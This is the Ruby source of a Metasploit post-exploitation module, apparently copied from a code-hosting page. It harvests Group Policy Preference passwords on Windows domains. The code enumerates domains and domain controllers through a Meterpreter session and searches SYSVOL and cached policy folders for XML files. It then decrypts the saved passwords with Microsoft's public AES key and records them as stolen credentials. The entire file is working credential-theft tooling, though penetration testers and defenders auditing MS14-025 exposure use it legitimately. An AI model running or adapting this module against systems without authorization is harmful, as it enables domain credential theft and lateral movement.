Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/gather/credentials/gpp.rb
Views: 11704
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Auxiliary::Report7include Msf::Post::File8include Msf::Post::Windows::ExtAPI9include Msf::Post::Windows::Priv10include Msf::Post::Windows::Registry11include Msf::Post::Windows::NetAPI1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Windows Gather Group Policy Preference Saved Passwords',18'Description' => %q{19This module enumerates the victim machine's domain controller and20connects to it via SMB. It then looks for Group Policy Preference XML21files containing local user accounts and passwords and decrypts them22using Microsofts public AES key.2324Cached Group Policy files may be found on end-user devices if the group25policy object is deleted rather than unlinked.2627Tested on WinXP SP3 Client and Win2k8 R2 DC.28},29'License' => MSF_LICENSE,30'Author' => [31'Ben Campbell',32'Loic Jaquemet <loic.jaquemet+msf[at]gmail.com>',33'scriptmonkey <scriptmonkey[at]owobble.co.uk>',34'theLightCosine',35'mubix' # domain/dc enumeration code36],37'References' => [38['URL', 'http://msdn.microsoft.com/en-us/library/cc232604(v=prot.13)'],39['URL', 'http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html'],40['URL', 'http://blogs.technet.com/grouppolicy/archive/2009/04/22/passwords-in-group-policy-preferences-updated.aspx'],41['URL', 'https://labs.portcullis.co.uk/blog/are-you-considering-using-microsoft-group-policy-preferences-think-again/'],42['MSB', 'MS14-025']43],44'Platform' => [ 'win' ],45'SessionTypes' => [ 'meterpreter' ],46'Compat' => {47'Meterpreter' => {48'Commands' => %w[49extapi_adsi_domain_query50]51}52}53)54)5556register_options([57OptBool.new('ALL', [false, 'Enumerate all domains on network.', true]),58OptBool.new('STORE', [false, 'Store the enumerated files in loot.', true]),59OptString.new('DOMAINS', [false, 'Enumerate list of space separated domains DOMAINS="dom1 dom2".'])60])61end6263def run64group_path = 'MACHINE\\Preferences\\Groups\\Groups.xml'65group_path_user = 'USER\\Preferences\\Groups\\Groups.xml'66service_path = 'MACHINE\\Preferences\\Services\\Services.xml'67printer_path = 'USER\\Preferences\\Printers\\Printers.xml'68drive_path = 'USER\\Preferences\\Drives\\Drives.xml'69datasource_path = 'MACHINE\\Preferences\\Datasources\\DataSources.xml'70datasource_path_user = 'USER\\Preferences\\Datasources\\DataSources.xml'71task_path = 'MACHINE\\Preferences\\ScheduledTasks\\ScheduledTasks.xml'72task_path_user = 'USER\\Preferences\\ScheduledTasks\\ScheduledTasks.xml'7374domains = []75basepaths = []76fullpaths = []7778print_status 'Checking for group policy history objects...'79all_users = get_env('%ALLUSERSPROFILE%')8081unless all_users.include? 'ProgramData'82all_users = "#{all_users}\\Application Data"83end8485cached = get_basepaths("#{all_users}\\Microsoft\\Group Policy\\History", true)8687unless cached.blank?88basepaths << cached89print_good 'Cached Group Policy folder found locally'90end9192print_status 'Checking for SYSVOL locally...'93system_root = expand_path('%SYSTEMROOT%')94locals = get_basepaths("#{system_root}\\SYSVOL\\sysvol")95unless locals.blank?96basepaths << locals97print_good 'SYSVOL Group Policy Files found locally'98end99100# If user supplied domains this implicitly cancels the ALL flag.101if datastore['ALL'] && datastore['DOMAINS'].blank?102print_status 'Enumerating Domains on the Network...'103domains = enum_domains104domains.reject! { |n| n == 'WORKGROUP' || n.to_s.empty? }105end106107# Add user specified domains to list.108unless datastore['DOMAINS'].blank?109if datastore['DOMAINS'].match(/\./)110print_error "DOMAINS must not contain DNS style domain names e.g. 'mydomain.net'. Instead use 'mydomain'."111return112end113user_domains = datastore['DOMAINS'].split(' ')114user_domains = user_domains.map(&:upcase)115print_status "Enumerating the user supplied Domain(s): #{user_domains.join(', ')}..."116user_domains.each { |ud| domains << ud }117end118119# If we find a local policy store then assume we are on DC and do not wish to enumerate the current DC again.120# If user supplied domains we do not wish to enumerate registry retrieved domains.121if locals.blank? && user_domains.blank?122print_status 'Enumerating domain information from the local registry...'123domains << get_domain_reg124end125126domains.flatten!127domains.compact!128domains.uniq!129130# Dont check registry if we find local files.131cached_dc = get_cached_domain_controller if locals.blank?132133domains.each do |domain|134dcs = enum_dcs(domain)135dcs = [] if dcs.nil?136137# Add registry cached DC for the test case where no DC is enumerated on the network.138if !cached_dc.nil? && (cached_dc.include? domain)139dcs << cached_dc140end141142next if dcs.blank?143144dcs.uniq!145tbase = []146dcs.each do |dc|147print_status "Searching for Policy Share on #{dc}..."148tbase = get_basepaths("\\\\#{dc}\\SYSVOL")149# If we got a basepath from the DC we know that we can reach it150# All DCs on the same domain should be the same so we only need one151next if tbase.blank?152153print_good "Found Policy Share on #{dc}"154basepaths << tbase155break156end157end158159basepaths.flatten!160basepaths.compact!161print_status 'Searching for Group Policy XML Files...'162basepaths.each do |policy_path|163fullpaths << find_path(policy_path, group_path)164fullpaths << find_path(policy_path, group_path_user)165fullpaths << find_path(policy_path, service_path)166fullpaths << find_path(policy_path, printer_path)167fullpaths << find_path(policy_path, drive_path)168fullpaths << find_path(policy_path, datasource_path)169fullpaths << find_path(policy_path, datasource_path_user)170fullpaths << find_path(policy_path, task_path)171fullpaths << find_path(policy_path, task_path_user)172end173fullpaths.flatten!174fullpaths.compact!175fullpaths.each do |filepath|176tmpfile = gpp_xml_file(filepath)177parse_xml(tmpfile) if tmpfile178end179end180181def get_basepaths(base, cached = false)182locals = []183begin184session.fs.dir.foreach(base) do |sub|185next if sub =~ /^(\.|\.\.)$/186187# Local GPO are stored in C:\Users\All Users\Microsoft\Group188# Policy\History\{GUID}\Machine\etc without \Policies189if cached190locals << "#{base}\\#{sub}\\"191else192tpath = "#{base}\\#{sub}\\Policies"193194begin195session.fs.dir.foreach(tpath) do |sub2|196next if sub2 =~ /^(\.|\.\.)$/197198locals << "#{tpath}\\#{sub2}\\"199end200rescue Rex::Post::Meterpreter::RequestError => e201print_error "Could not access #{tpath} : #{e.message}"202end203end204end205rescue Rex::Post::Meterpreter::RequestError => e206print_error "Error accessing #{base} : #{e.message}"207end208return locals209end210211def find_path(path, xml_path)212xml_path = "#{path}#{xml_path}"213begin214return xml_path if exist? xml_path215rescue Rex::Post::Meterpreter::RequestError216# No permissions for this specific file.217return nil218end219end220221def adsi_query(domain, adsi_filter, adsi_fields)222return '' unless session.commands.include?(Rex::Post::Meterpreter::Extensions::Extapi::COMMAND_ID_EXTAPI_ADSI_DOMAIN_QUERY)223224query_result = session.extapi.adsi.domain_query(domain, adsi_filter, 255, 255, adsi_fields)225226if query_result[:results].empty?227return '' # adsi query failed228else229return query_result[:results]230end231end232233def gpp_xml_file(path)234data = read_file(path)235236spath = path.split('\\')237retobj = {238dc: spath[2],239guid: spath[6],240path: path,241xml: data242}243if spath[4] == 'sysvol'244retobj[:domain] = spath[5]245else246retobj[:domain] = spath[4]247end248249adsi_filter_gpo = "(&(objectCategory=groupPolicyContainer)(name=#{retobj[:guid]}))"250adsi_field_gpo = ['displayname', 'name']251252gpo_adsi = adsi_query(retobj[:domain], adsi_filter_gpo, adsi_field_gpo)253254unless gpo_adsi.empty?255gpo_name = gpo_adsi[0][0][:value]256gpo_guid = gpo_adsi[0][1][:value]257retobj[:name] = gpo_name if retobj[:guid] == gpo_guid258end259260return retobj261rescue Rex::Post::Meterpreter::RequestError => e262print_error "Received error code #{e.code} when reading #{path}"263return nil264end265266def parse_xml(xmlfile)267mxml = xmlfile[:xml]268print_status "Parsing file: #{xmlfile[:path]} ..."269filetype = File.basename(xmlfile[:path].gsub('\\', '/'))270results = Rex::Parser::GPP.parse(mxml)271272tables = Rex::Parser::GPP.create_tables(results, filetype, xmlfile[:domain], xmlfile[:dc])273274tables.each do |table|275table << ['NAME', xmlfile[:name]] if xmlfile.member?(:name)276print_good " #{table}\n\n"277end278279results.each do |result|280if datastore['STORE']281stored_path = store_loot('microsoft.windows.gpp', 'text/xml', session, xmlfile[:xml], filetype, xmlfile[:path])282print_good("XML file saved to: #{stored_path}")283print_line284end285286report_creds(result[:USER], result[:PASS], result[:DISABLED])287end288end289290def report_creds(user, password, _disabled)291service_data = {292address: session.session_host,293port: 445,294protocol: 'tcp',295service_name: 'smb',296workspace_id: myworkspace_id297}298299credential_data = {300origin_type: :session,301session_id: session_db_id,302post_reference_name: refname,303username: user,304private_data: password,305private_type: :password306}307308credential_core = create_credential(credential_data.merge(service_data))309310login_data = {311core: credential_core,312access_level: 'User',313status: Metasploit::Model::Login::Status::UNTRIED314}315316create_credential_login(login_data.merge(service_data))317end318319def enum_domains320domains = []321results = net_server_enum(SV_TYPE_DOMAIN_ENUM)322323if results324results.each do |domain|325domains << domain[:name]326end327328domains.uniq!329print_status("Retrieved Domain(s) #{domains.join(', ')} from network")330end331332domains333end334335def enum_dcs(domain)336hostnames = nil337# Prevent crash if FQDN domain names are searched for or other disallowed characters:338# http://support.microsoft.com/kb/909264 \/:*?"<>|339if domain =~ %r{[:*?"<>\\/.]}340print_error("Cannot enumerate domain name contains disallowed characters: #{domain}")341return nil342end343344print_status("Enumerating DCs for #{domain} on the network...")345results = net_server_enum(SV_TYPE_DOMAIN_CTRL | SV_TYPE_DOMAIN_BAKCTRL, domain)346347if results.blank?348print_error("No Domain Controllers found for #{domain}")349else350hostnames = []351results.each do |dc|352print_good "DC Found: #{dc[:name]}"353hostnames << dc[:name]354end355end356357hostnames358end359360# We use this for the odd test case where a DC is unable to be enumerated from the network361# but is cached in the registry.362def get_cached_domain_controller363subkey = 'HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History\\'364v_name = 'DCName'365dc = registry_getvaldata(subkey, v_name).gsub(/\\/, '').upcase366print_status "Retrieved DC #{dc} from registry"367return dc368rescue StandardError369print_status('No DC found in registry')370end371372def get_domain_reg373locations = []374# Lots of redundancy but hey this is quick!375locations << ['HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\', 'Domain']376locations << ['HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\', 'DefaultDomainName']377locations << ['HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History\\', 'MachineDomain']378379domains = []380381# Pulls cached domains from registry382domain_cache = registry_enumvals('HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\DomainCache\\')383if domain_cache384domain_cache.each { |ud| domains << ud }385end386387locations.each do |location|388begin389subkey = location[0]390v_name = location[1]391domain = registry_getvaldata(subkey, v_name)392rescue Rex::Post::Meterpreter::RequestError => e393print_error "Received error code #{e.code} - #{e.message}"394end395396unless domain.blank?397domain_parts = domain.split('.')398domains << domain.split('.').first.upcase unless domain_parts.empty?399end400end401402domains.uniq!403print_status "Retrieved Domain(s) #{domains.join(', ')} from registry"404405return domains406end407end408409410